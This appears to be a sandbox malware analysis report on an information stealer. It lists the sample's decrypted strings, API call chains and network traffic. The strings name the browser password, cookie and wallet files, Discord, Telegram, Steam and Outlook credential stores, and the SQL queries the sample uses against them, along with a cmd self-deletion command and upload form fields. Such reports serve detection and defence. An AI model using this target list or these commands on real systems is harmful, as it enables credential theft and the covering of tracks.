Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: name:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: month:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: year:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: card:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Cookies
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Login Data
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Web Data
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: History
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: logins.json
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: usernameField
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: guid
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: plugins
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Local State
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: chrome
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: opera
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: firefox
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: wallets
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: ProductName
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: x32
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: x64
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - OS:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Language:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: All Users:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Current User:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Process List:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: .exe
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: runas
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: open
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: /c start
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: files
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \discord\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: key_datas
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: map*
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Telegram
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Tox
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: *.tox
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: *.ini
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Password
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: 00000001
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: 00000002
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: 00000003
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: 00000004
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: token:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \config\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: done
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: soft
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: https
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: POST
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: hwid
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: build
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: token
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: file_name
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: file
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: message
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004060D0 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	2_2_004060D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00416AA0 lstrcpy,SHGetFolderPathA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,LocalAlloc,strtok_s,lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	2_2_00416AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00409B80 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_00409B80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00404C50 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	2_2_00404C50
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004242C0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_004242C0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00409B20 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00409B20
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0040EB80 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA,	2_2_0040EB80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00416CB9 lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	2_2_00416CB9
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00407750 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_00407750
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4FA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	2_2_6C4FA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4F4440 PK11_PrivDecrypt,	2_2_6C4F4440
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4C4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	2_2_6C4C4420
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4F44C0 PK11_PubEncrypt,	2_2_6C4F44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C5425B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	2_2_6C5425B0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4FA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	2_2_6C4FA650
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4D8670 PK11_ExportEncryptedPrivKeyInfo,	2_2_6C4D8670
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4DE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	2_2_6C4DE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C51A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	2_2_6C51A730
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C520180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	2_2_6C520180

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49761 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000002.00000002.2343629994.000000006F90D000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000002.00000002.2343629994.000000006F90D000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0005F660 FindFirstFileExW,	0_2_0005F660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0005F711 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_0005F711
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041E3F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_0041E3F0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0040DB80 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_0040DB80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004113B7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_004113B7
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00414C70 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_00414C70
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004124F7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004124F7
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004016A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_004016A0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041D720 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_0041D720
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004113B9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_004113B9
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004124F9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004124F9
